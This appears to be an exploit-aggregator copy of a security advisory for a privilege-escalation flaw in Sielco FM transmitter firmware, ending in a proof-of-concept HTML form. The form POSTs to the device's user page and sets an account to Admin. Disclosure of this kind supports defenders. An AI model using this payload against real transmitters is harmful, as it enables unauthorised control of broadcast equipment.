Sielco Analog FM Transmitter 2.12 Remote Privilege Escalation

CVE Category Price Severity
N/A CWE-119 Not specified High
Author Risk Exploitation Type Date
Not specified High Remote 2023-04-15
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H 0.02192 0.50148

CVSS vector description

Our sensors found this exploit at:

Below is a copy:

Sielco Analog FM Transmitter 2.12 Remote Privilege Escalation

Sielco Analog FM Transmitter 2.12 Remote Privilege Escalation

Vendor: Sielco S.r.l
Product web page:
Affected version: 2.12 (EXC5000GX)
                  2.12 (EXC120GX)
                  2.11 (EXC300GX)
                  2.10 (EXC1600GX)
                  2.10 (EXC2000GX)
                  2.08 (EXC1600GX)
                  2.08 (EXC1000GX)
                  2.07 (EXC3000GX)
                  2.06 (EXC5000GX)
                  1.7.7 (EXC30GT)
                  1.7.4 (EXC300GT)
                  1.7.4 (EXC100GT)
                  1.7.4 (EXC5000GT)
                  1.6.3 (EXC1000GT)
                  1.5.4 (EXC120GT)

Summary: Sielco designs and produces FM radio transmitters
for professional broadcasting. The in-house laboratory develops
standard and customised solutions to meet all needs. Whether
digital or analogue, each product is studied to ensure reliability,
resistance over time and a high standard of safety. Sielco
transmitters are distributed throughout the world and serve
many radios in Europe, South America, Africa, Oceania and China.

Desc: The application suffers from a privilege escalation vulnerability.
A user with Read permissions can elevate his/her privileges by sending
a HTTP POST request setting the parameter 'auth1' or 'auth2' or 'auth3'
to integer value '1' for Write or '2' for Admin permissions.

Tested on: lwIP/2.1.1

Vulnerability discovered by Gjoko 'LiquidWorm' Krstic

Advisory ID: ZSL-2023-5755
Advisory URL:



    <form action="http://transmitter/protect/users.htm" method="POST">
      <input type="hidden" name="pwd0" value="" />
      <input type="hidden" name="pwd0bis" value="" />
      <input type="hidden" name="user1" value="" />
      <input type="hidden" name="pwd1" value="" />
      <input type="hidden" name="pwd1bis" value="" />
      <input type="hidden" name="auth1" value="" />
      <input type="hidden" name="user2" value="test" />
      <input type="hidden" name="pwd2" value="" />
      <input type="hidden" name="pwd2bis" value="" />
      <input type="hidden" name="auth2" value="2" />
      <input type="hidden" name="user3" value="" />
      <input type="hidden" name="pwd3" value="" />
      <input type="hidden" name="pwd3bis" value="" />
      <input type="hidden" name="auth3" value="" />
      <input type="submit" value="Escalate" />

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